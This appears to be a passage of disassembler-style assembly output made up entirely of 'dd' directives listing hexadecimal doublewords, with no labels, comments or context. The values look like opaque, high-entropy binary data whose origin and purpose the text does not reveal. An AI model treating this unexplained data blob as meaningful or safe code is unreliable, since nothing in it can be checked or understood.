dd 0F140F9B0h, 647B09BFh, 8F8F7481h, 45915486h, 230DCB05h
dd 218213AAh, 0D52DE27Ah, 0DA096368h, 24895B4Ch, 49025806h
dd 7EFEA40Bh, 46DD2568h, 1CFB4094h, 0A9E0EC83h, 52F99651h
dd 59EA4877h, 7346950Ch, 0BC5F304Eh, 0F4567E8Bh, 0F667014h
dd 9580F4B8h, 4B9C2E51h, 0E615E98Ah, 9986FADh, 14F037E9h
dd 599D307Bh, 0F717C9C9h, 8C0877A6h, 44FB20FFh, 0F1058186h
dd 662FD1ACh, 7B25ABACh, 0DC55ACC2h, 0B3BE4387h, 5BA145Eh
dd 0E25BDEF7h, 63407293h, 0A44F5DE9h, 8F58001h, 9F04E5C0h
dd 42920606h, 835A4580h, 24F3BFC5h, 3FF88F44h, 139168E0h
dd 6BAC9891h, 8BAA5B45h, 0C0421ADBh, 5F3A44B2h, 0BF43C408h
dd 0B6B0F5B2h, 1ED9C066h, 3B554DDEh, 712F382h, 0E0F0655Eh
dd 0BB05533Eh, 0F14224Eh, 9DA0C9C5h, 0D25E9D5Eh, 0B1ABC664h
dd 9A1056Eh, 189E7D8Dh, 0C3564095h, 35B20934h, 416A898Ch
dd 11BCE402h, 4705BBD2h, 311A3829h, 61FE23D5h, 3816E99Ah
dd 2DAD3B92h, 90B0E328h, 905266C9h, 0E7C320CFh, 511ED0E0h
dd 0CA8957B1h, 0C2EFA25Dh, 565309B2h, 0E130561Fh, 7549F781h
dd 0F13C586Ch, 0E391B09h, 231F8682h, 0FC814D04h, 0F03F9866h
dd 0DC272B63h, 20451CFEh, 0E5F66D4Ch, 7722F002h, 0E1EDC17Fh
dd 13D77070h, 1D2F71Ch, 0D75109F0h, 8B092E6Ch, 5748F42h
dd 0F985D329h, 2D6D388h, 0E126685Ah, 62DDE607h, 91D0D51Ch
dd 0ED214897h, 952512EFh, 0A550BE35h, 69E91308h, 0D028A281h
dd 3164E03Fh, 4B58DC92h, 6A2F0745h, 0E8C33956h, 0DAFAE5F5h
dd 0CE220BE5h, 0D5DF1AFEh, 0E1206ADAh, 3F55582Dh, 0E8699702h
dd 2445B1Fh, 89139C62h, 1C6C7DDDh, 74ABD15Eh, 0BCFCBFAEh
dd 60510CD9h, 0AD80485Dh, 6D812468h, 0FA7DC9ABh, 0B9B33717h
dd 6E4CA226h, 0E78701D9h, 80BB3878h, 0AD5532DDh, 8900BD3Dh
dd 0CE203635h, 26054E05h, 0E509742Bh, 5705A0Ah, 46D0D2C5h
dd 555B8079h, 5640F103h, 112614EEh, 700AF72Bh, 2E6BF09h
dd 9E75B0C5h, 0F5126774h, 0D7F26809h, 0BE2D7384h, 0F0472FB1h
dd 0F640ADECh, 0C4A5F11h, 155C02E7h, 38D70E13h, 7FC26709h
dd 0CEFD1098h, 0FECF8980h, 0E5C6BA5h, 0B2E23F01h, 3CA2E9F1h
dd 33F24BDCh, 531A04Bh, 30FF403h, 0BB352D0Ah, 0F1AAE51Ah
dd 4E5AE0FCh, 8507437Ch, 8984D681h, 0D9F758E1h, 7B219A40h
dd 0C0DE42Ah, 6AA96485h, 0E939053Ah, 286464DEh, 688A8882h
dd 0BEEA4B32h, 9DE8250h, 57601E19h, 7A3B5F7Bh, 67F60272h
dd 40AB9EAAh, 515D8661h, 92D8ACD2h, 62D8243Bh, 26084867h
dd 70460298h, 0A1406C53h, 3AE82DC0h, 0D984C195h, 5960043Fh
dd 0BC5CAA4Dh, 0B76241C3h, 0B580C13h, 0F62CEAB5h, 74B7709Ah
dd 0BA5258DDh, 4EAE9884h, 0D350FDA4h, 40D7DCB0h, 6D0B2D1Dh
dd 2637F57h, 0FD49374Ch, 3FC2A993h, 7640416Ah, 392C6068h
dd 77A5DF05h, 1BEDB780h, 7348EB6Dh, 805630E9h, 0C33B7B4Eh
dd 83E9D66Ah, 9AB900ECh, 5B4F123Eh, 0D9ADF049h, 0DEAC193Fh
dd 126066A8h, 6BFE3FEDh
dd 0A50980B8h, 70DE5BBFh, 55D2FE3h, 64FF8D77h, 0FC15FB3Ah
dd 6268090Fh, 759A3234h, 0E90511FCh, 8CADB3D6h, 4059B410h
dd 7125CEDh, 41EA4012h, 0BD388EC2h, 0DAA7404Bh, 0B09AF3Fh
dd 0E8F9C4E9h, 812552C4h, 0FD33755Bh, 0E8B55478h, 0EF180575h
dd 5BF3FD4h, 0E8574A02h, 411F9EF4h, 0BE343D0Fh, 62FF98D3h
dd 89752F17h, 0C914D63Fh, 35487200h, 0E92D23B3h, 741E42D2h
dd 25D95ACFh, 6675916Bh, 0C5B92F09h, 786722D2h, 0DC9D3C78h
dd 0A32EC4BCh, 239D1750h, 48EDB629h, 5F88036Bh, 7DE84705h
dd 0F028295Dh, 0D980072Dh, 9D192441h, 0DEF04262h, 4AA0EF04h
dd 20674168h, 1A974528h, 5E25DF57h, 2F46F351h, 0AD22F459h
dd 0F74BFA56h, 0AF2620C8h, 5954CCC2h, 57EC6056h, 22D6276Dh
dd 18D0B203h, 0C027DC3h, 1DE72B87h, 0E1A28FC1h, 0B3E8B5F3h
dd 84A7A692h, 5BBDB693h, 0EF812730h, 76E2F6F5h, 5C73F75h
dd 1A48EC96h, 80D1C87h, 0FC14041Ch, 0F469B3ABh, 0A0805F09h
dd 21C91CCDh, 0CF2F50F8h, 36047FEh, 7AF70375h, 6A233FF7h
dd 68045CABh, 9EF63622h, 0A0BF3FC5h, 8F49E964h, 0DB654B5Eh
dd 0E6C5FA05h, 0AEF476A5h, 17AE98BBh, 13215AD7h, 28BB0D6Bh
dd 0FFC52A22h, 0FE142CBFh, 3329D74Bh, 293AB1EDh, 0FBE37A10h
dd 0A0E9F90Ch, 0BC03045Fh, 0C058C388h, 0B5682CE3h, 0FA9509EEh
dd 1FB49457h, 0CB555EF1h, 0A440554h, 0D6048B2Fh, 7B52D176h
dd 9AADC3E0h, 27245048h, 6C9C96CEh, 492FE941h, 0AFA4C910h
dd 0D4B6A68h, 6B0CB10Fh, 0EAA2C7BDh, 0C155F877h, 79482F26h
dd 95F82B60h, 25680840h, 70183875h, 5480538Bh, 7E56BF5Dh
dd 26DE8CEBh, 689BC5CCh, 3F29B1F0h, 0E9C2C1E7h, 0D4443FF0h
dd 67E9AF97h, 0DBBCEE0Bh, 0BAF94044h, 8760AF7Eh, 7767C2CAh
dd 91424B3Dh, 2150A1Dh, 0F7505F5Eh, 446D4A95h, 0E8382727h
dd 4E2D274Ch, 85A27169h, 0AB30BAE9h, 7D201BC9h, 1A930AC9h
dd 1EF63363h, 7E9C812Ah, 93CBDCE9h, 0F2AB5E96h, 0ABF4CBA3h
dd 52285447h, 42FD5475h, 0A7F9AD1Bh, 0D17ACBCh, 97C64CADh
dd 7D69E959h, 525845E4h, 0AE01025h, 0BAE2EC77h, 0E7B907F0h
dd 0A516F05Fh, 2A09B104h, 0AD7F815Eh, 0C9E76858h, 0BD6F12E6h
dd 0E6F3BB11h, 469CBB81h, 0EB1C81D1h, 28114798h, 0EDE9BB64h
dd 62EBFEEEh, 530BAEECh, 0F30AC9C4h, 5AF0AD69h, 0D310BB5Eh
dd 0FB4B742Bh, 2506A840h, 0F84B05ADh, 2F4A9CABh, 273EF47Ch
dd 0B13055A2h, 6D096851h, 0FB05AA41h, 0D0A1E90Dh, 0D821744Dh
dd 0ED6BF2E9h, 6FDEF650h, 88177065h, 1840D9BCh, 1F6209BAh
dd 0A25F2B7Ah, 51F0D88Dh, 2FF83D12h, 72DCDB68h, 0EA0755C0h
dd 5FD6C166h, 3877A441h, 0FB4CA2h, 848D5099h, 496BE5E9h
dd 0E9B0EBFFh, 0DCB34719h, 57C2C089h, 0DADD3418h, 82F545C0h
dd 306F785Fh, 0C810454Dh, 4C5CCB6Ah, 60C0306h, 0B401420Ah
dd 81F54C4h, 1980F153h, 1517B7B9h, 0CF01FA31h, 0F7CE463Ch
dd 80552D56h, 668939E7h, 3EAD29E9h, 0F2502751h, 5571F897h
dd 917AFEE1h, 3E663D0Ah, 0FA931CE3h, 0C96E0B61h, 4427D13Eh
dd 40560269h, 0B5C51AE1h, 315F0FA9h, 4C6CDDADh, 0D1F7660Eh
dd 5AC26862h, 0F8C7D27Fh, 438F32B9h, 0A790CB12h, 288103B5h
dd 0DEF0833Eh, 8421C399h, 72E9640Ch, 0E15BA4ACh, 0FA60A076h
dd 7C1C14Bh, 6F78100Dh, 0FF09AE5Ah, 200F5829h, 86A0D5EEh
dd 72C3315h, 71081E2Ch, 0A7772DB0h, 0C4328592h, 0FBEB40B9h
dd 8BDE9C90h, 22DE2FB8h, 9A2B9450h, 0ED15B61h, 0CE895972h
dd 70653500h, 59829AEAh, 0F52140B7h, 8095F7E9h, 75A7BF77h
dd 0C10617FCh, 986A09E7h, 80ACC4A5h, 0EDC06383h, 0E580030Fh
dd 6ADEE4AEh, 8712E9EDh, 0E039EA48h, 0EAF928A2h, 701BC03Eh
dd 551491F5h, 52455300h, 642E3233h, 41C0E36Ch, 23567344h
dd 4E8F4950h, 354CCE54h, 0E001430Ah, 0C0094FE9h, 0A1BE680Ah
dd 89F40612h, 0FDFDDF2Eh, 15A2500Ch, 8C22847Fh, 117542A3h
dd 6B21A4ABh, 90A50808h, 0A61C8461h, 96445748h, 0E02E4D22h
dd 1AA11D60h, 7F3B0172h, 0A41851F8h, 7935E015h, 0F4E0207h
dd 23C0AD9Bh, 0F0864281h, 7435C05Eh, 4DF68539h, 0D7A980h
dd 0DEDD6ED4h, 0A329866Bh, 3CBD150Eh, 0C102A09Dh, 7551D5h
dd 2033B05Bh, 57D367FCh, 0EB68500h, 192142CEh, 584A030Ch
dd 0CFAC887Ch, 303F2C80h, 0D1273603h, 0A0BA8FD3h, 0DD044Ch
dd 2AE158B2h, 6E85D8F5h, 98936D00h, 47E910C7h, 0F03005Fh
dd 792D13A2h, 0CE00523Eh, 0E331D8F2h, 0E7DF8DDh, 0CBB5C7A3h
dd 0CD4CF640h, 0A8007E38h, 7B24AFCCh, 39246h, 0B2C2275Ch
dd 9CA011A6h, 0C11F8812h, 740730FCh, 0B01B8FD2h, 0AA31ADE4h
dd 0ECA030Fh, 33A70387h, 0DC180A4h, 71E3001Fh, 4DCC80BFh
dd 0DF005B9Ch, 0C377B258h, 5568B34h, 1615E7E2h, 489E4EACh
dd 4D7E140h, 74002061h, 5B77B055h, 30EB57Eh, 41D82DD9h
dd 29B84DFFh, 1A075539h, 132F0D35h, 0F11B5270h, 0AB6700FAh
dd 5EB09DAFh, 83000127h, 93F2D4FDh, 70645176h, 65DB1EE6h
dd 2DF5804Bh, 0B3865A6Fh, 2BDE0F01h, 94213397h, 0B558ECh
dd 0C0A48074h, 492D6209h, 60069500h, 0B15A7125h, 5BCF017Ch
dd 554A0858h, 502FD541h, 0ED30E292h, 42EA7100h, 21C84F0Bh
dd 0E5743CE8h, 0D2490500h, 7D6BDF1Eh, 31D30100h, 0EBF36F2h
dd 8A1100CDh, 0A635A9E4h, 1407C8FDh, 0DE642719h, 0B9360018h
dd 447932F3h, 92395003h, 904A835Dh, 75D4EFh, 100EEB0Bh
dd 3EBB5A69h, 6AE47302h, 494C5333h, 3F8EB9C9h, 33D0288h
dd 0D96DCC7Ch, 0E441FDD8h, 0F406D502h, 40EF6E35h, 2C0856h
dd 0B2E38752h, 23F04BF7h, 3CE49400h, 5D151105h, 0A220300Bh
dd 0AE64219h, 5F014B75h, 1793AFB3h, 0C3D4EAA0h, 7B840069h
dd 26F9D849h, 0D7279267h, 25530696h, 412A0097h, 604B4627h
dd 9CC7BAE2h, 9B02602h, 30AE5D89h, 0F0166814h, 7B005074h
dd 8ABCB18Bh, 20D5B6h, 0D62744BDh, 89C29C3Fh, 239B3002h
dd 48A0B4C8h, 0DC0D6D7Ah, 2BD44FD8h, 79300A00h, 2D8093C9h
dd 96150331h, 68CCB8EDh, 0B9E88FDBh, 0E134F02h, 4B00FE62h
dd 54083DE6h, 0FDE83EEFh, 503FB430h, 2490F0D4h, 1573690Ah
dd 3B00919Eh, 0E38FCA80h, 966A007Fh, 0FF40F168h, 3A000F13h
dd 0B892CD81h, 71B4E01h, 1132D270h, 1A36309Eh, 0ED000A66h
dd 13CF269h, 0CD7615h, 59353398h, 2BFB4038h, 60F3BA2Dh
dd 9004A6DBh, 0D68E1FBEh, 0F5AC479Fh, 807907BCh, 0F2962599h
dd 11F7B31Fh, 0A6E58702h, 2526B32h, 219DD834h, 210FF19Ah
dd 0DFCA7833h, 212A3C20h, 0C848E7ADh, 57817C90h, 0C09F20A7h
dd 4C00F3C6h, 0F2076B17h, 0C07E9039h, 30C74126h, 440A5098h
dd 0B17FC071h, 0DC80B31Ch, 336BB710h, 0B04AF2h, 0A9D758D1h
dd 3F767E32h, 0A6BEA60h, 93D073h, 6A219AAFh, 0FEEF4135h
dd 5B0F0400h, 7C2411A9h, 34CFC45h, 0AFC11AB9h, 0EDE3FCh
dd 0AB1FFBFCh, 1300BF56h, 35C01993h, 390F33EEh, 4E00233Dh
dd 943C25F4h, 37001410h, 0C47EB4Ch, 117139Eh, 92D37645h
dd 0F85582DEh, 7B000729h, 1214E9ABh, 77FFA43h, 681B9E2Ch
dd 26E150C9h, 0C1273F8Bh, 0BB56149h, 2B70F60h, 9C6BC3B6h
dd 0F0600CD9h, 0B4078C2Bh, 4420D40Dh, 0C65B4E20h, 0E0B4C067h
dd 951AC184h, 0FCC3D4Ch, 5C568594h, 0EA17D0C0h, 0F26E47h
dd 0B922B1FEh, 0C42CE4A7h
dd 817DF93Ah, 3CE37688h, 1BE85307h, 918100E6h, 0BFA010AFh
dd 0D45DFEE7h, 80873B22h, 0FBB128A4h, 0F9108C4h, 0B027A3DCh
dd 8B0ABE00h, 1E3E9AD9h, 0FAAE0028h, 0D578FFBBh, 0A1180194h
dd 7FF6B2EDh, 34FA20C8h, 0E1614809h, 51F00D8h, 25C1CA8h
dd 5D4C1EBDh, 0D5609C16h, 0B93F708Eh, 48BA4C09h, 0A65C0099h
dd 8529B0CAh, 78E034Ah, 5D7C2863h, 30CCF1E7h, 7EB83077h
dd 80ED3DF0h, 45882ABBh, 245A1289h, 7E9A723h, 8B0D8C40h
dd 3776DA20h, 0BF88583h, 9E3D5978h, 0F65917h, 1E9D114Ch
dd 0A07C3065h, 6146FC8Eh, 419EBAD9h, 27C217Bh, 4148E7C8h
dd 59079038h, 5DD9C9ADh, 550E8DE1h, 10405A61h, 5D2FBDFh
dd 9031B122h, 0F4AE80FEh, 3CC13457h, 0EE448883h, 0BAB6CB30h
dd 0D24E092Fh, 0A101AF53h, 2CFD31F1h, 0B852D8h, 75875463h
dd 8822A08Bh, 662C5DC2h, 111D7A08h, 20B18A5Eh, 1A2080AFh
dd 213B0037h, 0A3B22A2Ch, 0CE00C201h, 48546552h, 7EB96Dh
dd 3BD18562h, 0A231B815h, 26273900h, 0BDED0166h, 0CA9F033Fh
dd 486EF3B6h, 14E5258h, 296207D2h, 1C208354h, 7CF0ABh
dd 0D00BBF7Ah, 904B6AFBh, 9ACBBE03h, 903624C1h, 675C48h
dd 0BA718B50h, 2C348A7Ah, 0BB41F83Ch, 2309004Bh, 193D0227h
dd 0E23E0044h, 6F9A5108h, 610306BCh, 0E7DE2874h, 0CAEABB45h
dd 93EAE052h, 0C71DC02Fh, 0FD34EC6Bh, 0AC53E007h, 0A70D277h
dd 167AF65Dh, 0C06339AAh, 317416A3h, 46FE7D17h, 651CF002h
dd 8637412Ch, 9062EF64h, 45C10020h, 82367517h, 109252F3h
dd 0B12D6801h, 904C812Ah, 24E8EF70h, 414DA5Ah, 8857DDBAh
dd 0D6028D71h, 0F5B4CCA1h, 62764884h, 0A9191010h, 0D14D1F23h
dd 3605DB80h, 18A05491h, 1F6DD5C4h, 0D318AD89h, 8A116AD8h
dd 1EC908Eh, 0F2986E14h, 811F9BB7h, 13CCCB0Bh, 48ED79DEh
dd 4A198E20h, 0C365B10Dh, 0D0EA5587h, 9C5FCCCh, 0A2DB9209h
dd 0DB730826h, 7D88C0Bh, 0A9C2270Eh, 853AE007h, 60FD92E4h
dd 9ED325FAh, 909A3F2Ah, 9310F5C2h, 0DCE2C009h, 0B483007Eh
dd 772DAC6Ch, 7935440h, 7419A001h, 4F70473Bh, 5A642815h
dd 17ED988Ah, 0DE8554h, 984DD079h, 590151F1h, 0B9B59422h
dd 48CC39Dh, 9A177AC8h, 2A9BE0Ch, 79AE1156h, 25C701B2h
dd 21983AE6h, 27E4206Fh, 353947FCh, 0CC76184Bh, 5CAF612Fh
dd 0C736EB70h, 643D17B6h, 0EA240367h, 49833Fh, 0E2076314h
dd 0E502855Ah, 4D393500h, 92C168F3h, 8A2B3097h, 734FCB26h
dd 0C6A37F00h, 7521560Dh, 507D0053h, 9996A9C1h, 0C00CB22h
dd 96D1958h, 7DC067F4h, 0E82C3095h, 886CC842h, 9E45D400h
dd 7501BD69h, 4A1101EFh, 0B7BB67A6h, 0C362E8A2h, 73E71C01h
dd 0EB47789h, 8AE63F80h, 28DC17CBh, 0A42F4C00h, 0BBDAC6FBh
dd 0D6CA0009h, 5CAE9F81h, 840103C2h, 558A4121h, 5020C5A1h
dd 7E5817F7h, 9FF4760h, 25C4732Dh, 1435A4Ch, 0C8F3AC27h
dd 178961E1h, 5340A985h, 0FA31B1E6h, 0B0AC1948h, 0CCE0FCh
dd 0C4BFDC8h, 95CA8118h, 45EAE100h, 0D1701308h, 0B2913BEBh
dd 845E1203h, 4283ABE0h, 0C6A24509h, 56DA00AAh, 2CB153E2h
dd 43017E72h, 0BF91946Ah, 0E32F8003h, 0DF1AD087h, 92F7433h
dd 994BEA89h, 4A2445A0h, 2DC7E35Fh, 41EE2703h, 0C2802B55h
dd 91817B8h, 15D0DB9h, 0D57A1100h, 6C88EC98h, 50C71D8Fh
dd 38ED4197h, 80AA18FFh, 6549152Dh, 5866C412h, 0D11DB19Ch
dd 1400381Bh, 0B503A345h, 120BA14Dh, 20F9B273h, 0F1A5DAA6h
dd 3BC007Fh, 0ED5EE9CEh, 0CDE49301h, 8004B058h, 6C1F411Bh
dd 0B74601D6h, 3B69F92Ch, 255AC8EAh, 0B0566D00h, 0C1A58175h
dd 2766000Ah, 41E2F77Bh, 0DC4883A2h, 374903F5h, 0C1CE74h
dd 6EAD5F42h, 72EE9E82h, 25DE5500h, 28AF04F0h, 0F29900B3h
dd 2687BB49h, 0ED3961BDh, 843E0013h, 6056A7CFh, 96E70304h
dd 1FA3667Fh, 7BF71704h, 318007BCh, 764765Ah, 0E4EF2FD5h
dd 4526D05Eh, 4AB8223Eh, 82803F8h, 5C58FC55h, 68500F1h
dd 9DDA8D5Dh, 4A69E8E9h, 11702097h, 0AB1ED86Ah, 0E04B5894h
dd 3A5B900Bh, 0CA5006Bh, 0F0962713h, 0CA00C1B5h, 0C336EA23h
dd 907745DCh, 0BD641E7Fh, 578E8006h, 8F38BF7Bh, 0D4A65A00h
dd 47246305h, 9AD7018Ch, 1857F9C0h, 0A044C443h, 16B56100h
dd 0C413570h, 0F4D81777h, 11940A42h, 76524BEh, 605C04DAh
dd 0FCD1F571h, 0CB34209h, 0F2E38FD7h, 9FBCAC03h, 0D3D59810h
dd 9267248Bh, 0A423163Fh, 220040ADh, 0C6333534h, 0C80F9F2Ch
dd 0B240B2Ch, 4F13E0A4h, 0B58F0B00h, 279A215Fh, 4A80B9F4h
dd 8032723Ah, 52493D00h, 19B06499h, 1246F875h, 905D9E4Fh
dd 90345398h, 26A55109h, 94DB4081h, 0B8FB85Bh, 0CF554178h
dd 3F076F57h, 3E570CA7h, 682CC225h, 725E65C3h, 0F7F12064h
dd 54C9E17Ch, 579695D1h, 0E6D4A5E0h, 8F4A269Ah, 0BFA83D14h
dd 0F2D69809h, 0EE36D25Fh, 709A578Bh, 0E02F73FDh, 0D646E95Ch
dd 0BD06B5B8h, 0A9A4B8B7h, 0C5033DB0h, 22E4E000h, 26434175h
dd 44614600h, 0F1189B66h, 39D90C74h, 0C65306E8h, 84D2451Eh
dd 0BE9DC8Ah, 979F3000h, 0F623B1h, 32BB665Eh, 4EC681FAh
dd 0E9227163h, 0E2D0014h, 5A170912h, 4800C00Ch, 1F276A3Eh
dd 3EB81437h, 0FE3FD82Fh, 0CC9DFC4Bh, 7F10B0Bh, 23F479A5h
dd 4BE7008Bh, 583C7E6Ch, 87D02866h, 0E381060Fh, 4F68780h
dd 0A9E0F760h, 0F2A0F60h, 0EFE0D9B7h, 1A6421F8h, 4BA0E8F6h
dd 0FC001B7Ch, 338CB136h, 9953A5h, 0D1212DEEh, 0DFAF9E9Ah
dd 0BE25F500h, 3436B7DCh, 8F0F275Fh, 0CA8BF9C8h, 0C2706160h
dd 3174E2E3h, 21D0AE9h, 0C4D1E865h, 69738907h, 0AC5C52D3h
dd 8B5A1250h, 0F3343DAh, 3500088Ah, 15C18156h, 777F6878h
dd 0C0F82559h, 0F06C7DEh, 77292285h, 0F8805260h, 12B86605h
dd 61884311h, 1B1D36E9h, 78C06427h, 51DD6253h, 1856EA8Ch
dd 44760F6Ah, 0C98B0381h, 0E1C8D6BFh, 2A19333Bh, 78724F46h
dd 43839900h, 54D275D5h, 0DEBA030Ch, 7BA00166h, 0F75A98D0h
dd 38C31F05h, 0F11CA526h, 0B913C9C1h, 91FFA737h, 0ACF0A1ABh
dd 4D923127h, 0E340A508h, 0CF0A4EF9h, 213ABCEBh, 0F6E0C13h
dd 5251171h, 26315B14h, 0BC1C0122h, 873E9269h, 5A56DA11h
dd 0EA4DFA2h, 679D03D7h, 1101BBC3h, 2576202Ch, 0AC002E21h
dd 9C10648Dh, 0A48C2485h, 0BA814648h, 0DB602C11h, 385021A5h
dd 5010F81Eh, 1DF3E88h, 5C553A85h, 0EDD5763Ch, 5AC8407Ch
dd 0B100BB97h, 1A29BC28h, 31ABEF19h, 7E103981h, 0CC68C142h
dd 2A002D12h, 0E25C9E41h, 3DD1D513h, 0AE00440Bh, 520821B4h
dd 0FCF8A736h, 0CF28AF78h, 0C100ACBAh, 46943B6h, 1E727548h
dd 266199h, 68424676h, 787C7F63h, 14AC9E28h, 2C11703Eh
dd 0A100346Bh, 8B39AFECh, 0A350C7B0h, 78BEE629h, 0AAC9A63Ch
dd 110AE0B1h, 0C397382Fh, 9BACE830h, 7B6A39ADh, 0A792E485h
dd 2598012Bh, 802401ABh, 0B1B73EE0h, 15CAADFh, 7263F597h
dd 40D1A32Bh, 4EA529D6h, 6877BF14h, 0DCA0F120h, 260A0218h
dd 0D0ABC26Bh, 0F87C4C80h, 0C7A2570h, 6A2D5E41h, 21DDB308h
dd 0A2F874C0h, 0D53457h, 0F77C0DE7h, 0B1E5F9DAh, 0C32180A8h
dd 101C8940h, 245B0B2Eh, 7D044466h, 4540BB0Eh, 327FEB73h
dd 2A1940FCh, 56089E3Ah, 6B7A2180h, 0A3905BEBh, 0A0130918h
dd 59D8F48h, 0F670D254h
dd 29F441B1h, 2019F59Ch, 9D247A80h, 3A806459h, 0A36FE577h
dd 0A14A0C68h, 300860DBh, 7F9D21C1h, 9CF4CBE5h, 84E407A4h
dd 148F1CB7h, 25409035h, 365459B3h, 5A7ADFA0h, 0F0F603F9h
dd 9891E4EBh, 767C2817h, 0B3A544A4h, 3D493B00h, 8CA4DA9Dh
dd 0F3AD00D8h, 1758A774h, 7F500D7Ah, 0C0D425C0h, 0BFDF1014h
dd 18039C50h, 105D2321h, 0DC91A00Fh, 36030935h, 18A4B3A7h
dd 81706F11h, 3041847Ah, 718FFBF0h, 5D63008Eh, 0DB81C83Ch
dd 3A037050h, 310D7304h, 0AD74B84Ah, 0A03E1960h, 0E00E4077h
dd 0D70C7CEDh, 0B07BD0A4h, 72CA0933h, 280A307Eh, 69D58108h
dd 0F05DD627h, 0A8A92392h, 0DC0EE543h, 7A0150A4h, 1A22DE8Fh
dd 34205912h, 751D073Ah, 842A4748h, 7F088225h, 41EBF833h
dd 22564632h, 6D640054h, 8F760EEBh, 0F112AFF6h, 3400B6B7h
dd 5B812242h, 5A2D0FB5h, 4564A041h, 88088E6Ch, 0B3B0C331h
dd 53157898h, 0BC574505h, 0EC45B4DDh, 0B0403585h, 4D46E011h
dd 97833BC4h, 539B16h, 54FC223Fh, 8C1F3B37h, 0ABC03925h
dd 3A29BA86h, 0BE9407F8h, 0A77C246Ch, 10A27006h, 81C0209Dh
dd 0CBD07885h, 0EB813BD7h, 87800681h, 3040363Dh, 464CF32Ch
dd 3103045Ch, 1080515Bh, 19A394E2h, 10BB7F21h, 0E1B83167h
dd 0E80A0424h, 0DC00ECFCh, 0B32305C9h, 0A00A4D6Dh, 0AD89723Eh
dd 4CA2BB39h, 5BC23C73h, 3AF5B820h, 0E50764A6h, 20F0CBA9h
dd 976CAAE0h, 77B90061h, 0EAD37AD5h, 28E44EA4h, 7C0FCE26h
dd 40F87B94h, 48C7CF0h, 327EEB72h, 2057629Eh, 53EB6A65h
dd 23169003h, 1E2CC5DBh, 0C0BF1DA8h, 0A77AC17Dh, 31CEABB4h
dd 9C559Dh, 59719499h, 39FA6830h, 6700AD14h, 7675CA90h
dd 72007B05h, 405E2587h, 7BEE0FDh, 6BA48C73h, 80E8BA84h
dd 72196247h, 889078AFh, 308CA849h, 6A682103h, 0A6623F19h
dd 4A549F03h, 878C0465h, 422544h, 8C93A1CCh, 9067A0BBh
dd 27F4C360h, 0BD427B00h, 94F60CD9h, 0F4AB4024h, 80406C14h
dd 0AF77196Fh, 10E18C30h, 191769h, 0A214012Ch, 973DB1EFh
dd 489833E4h, 10020FF8h, 0D1EC942h, 398C6870h, 1A912AFh
dd 0A84408CFh, 0FF8DBC80h, 19414B5h, 4593038Eh, 50BE0F3Bh
dd 925DA3ACh, 36B58100h, 17258EB6h, 0E5F4121Ch, 0B7280B64h
dd 8FD19C21h, 0C09A02B1h, 805B73E8h, 0AE60A1BCh, 9DDCA3F9h
dd 8DE4A007h, 3A843072h, 0DA1358D1h, 3493700h, 91AD9F1Ah
dd 3E220027h, 68E86114h, 0C10978F0h, 846A6D1Fh, 495FA078h
dd 1488E4A1h, 9043BE8h, 806D61F1h, 0B9ACAD38h, 1C0B49h
dd 0CD673A73h, 39767A6Ah, 7CCCE6F7h, 0F0A11067h, 0BC2B91DBh
dd 870C0B04h, 74C37262h, 4958013Ah, 0F6F941Fh, 977980B2h
dd 2FC10F1h, 81DE005Fh, 0A70CA6E9h, 3612FF85h, 7C0034DCh
dd 2F92C225h, 40584CE6h, 5E348D24h, 0D4093B46h, 140891D7h
dd 3F465C20h, 71737900h, 658E7447h, 0A080DB02h, 0A0A1DDBFh
dd 2590D5CCh, 0A77207AAh, 426D3E70h, 0BC405480h, 18B9377Dh
dd 0D24F08h, 92B086D7h, 25E67654h, 7EFAC40h, 0CB0CC94Eh
dd 0FF0B102Fh, 0EB09C3E0h, 0AFA16C1Ch, 0BFD6A15Ch, 0B8743788h
dd 182449D8h, 3AC4B2Ah, 0B35B72B6h, 7809267Dh, 49AD7392h
dd 0E0367868h, 6DE57507h, 32C4B8A3h, 0E57D9B40h, 980315FAh
dd 2D7C29C2h, 91EDE80Ch, 9CEC4CADh, 2EABD310h, 4674486Eh
dd 820370ADh, 9C076A02h, 0AA79005Dh, 6150EE39h, 0AFF6E533h
dd 0CC010524h, 0CF887601h, 0A060C67Ah, 20EE4AD3h, 31097858h
dd 90A57330h, 4C33D650h, 4201244Dh, 8F5A9F37h, 9501300Ch
dd 574730Eh, 0B80FA6A1h, 0EF610091h, 86119DECh, 3C0966E3h
dd 89B71A37h, 22002078h, 0A1B075FDh, 741877A4h, 0A36CE508h
dd 4033C460h, 55E57C9Ah, 8D403C0Bh, 0DB97E982h, 0D0A62E2Dh
dd 0C3002921h, 625FCE02h, 0BDCB6BFh, 3998B594h, 461949Ah
dd 0C0302816h, 2577F843h, 0C3404292h, 0F8F87B61h, 0AED5BBh
dd 8091883Bh, 0A053D1A1h, 7C0178B1h, 0C32B1F23h, 3003432h
dd 8DC4A184h, 0A6F814A9h, 0DE5419C0h, 0BBF12Bh, 0C8F629C1h
dd 775C6513h, 48C0DA7Ch, 0ABEA8F1Eh, 344D24A4h, 95CB407Ch
dd 230C5C54h, 182BC9BBh, 0F95B6ACDh, 7FF4002Ch, 3D059765h
dd 2C89DF18h, 0CE723F0h, 3F458FB3h, 601E611h, 3B1E92A1h
dd 16CF3997h, 39CAC18h, 0A4BB2908h, 3127D800h, 30757C33h
dd 96D5771Ah, 21B002F0h, 0A043BB07h, 0CD620988h, 0EB842850h
dd 0A5747103h, 1ACAFC9h, 39105A20h, 4ED46915h, 0F6031120h
dd 0AB3E2F81h, 0E6900BCh, 83CB01A1h, 0C3E4AD76h, 4038C2h
dd 4E06917Bh, 0A871Fh, 1279487Fh, 1B8F7844h, 195F8F1h
dd 8E6B5A1Dh, 6F031E3Fh, 967403FCh, 0E910450Ah, 26D0430Dh
dd 1421478h, 7101C585h, 56DA57Ah, 0B43F090h, 491E8B0Eh
dd 4806E001h, 5C1F8F1Bh, 3847E444h, 1E1A9E1Eh, 18523A36h
dd 81E63A3h, 85187B30h, 139E61B0h, 674E1Dh, 911A6AB4h
dd 6600631Bh, 7481526h, 786F7F85h, 352F470h, 647D9A05h
dd 0D10F6CACh, 66E1671h, 9239357Bh, 42757C4h, 56F3928Fh
dd 5EE002C8h, 507028C8h, 34DB0E00h, 0AB396AA7h, 0DC88582Eh
dd 40421513h, 0BB97DA8Ch, 18C48960h, 0D0823313h, 5B08844Ch
dd 0DF3EBC80h, 0E0D44CF9h, 0F1E17C0Ah, 902F282Ch, 19A8AABFh
dd 88A3660Ch, 0A1B38C0Ch, 7890E630h, 58D8547Ah, 888970A0h
dd 803121A7h, 1D7740CAh, 0CC259824h, 8D596A40h, 78A7A02Ah
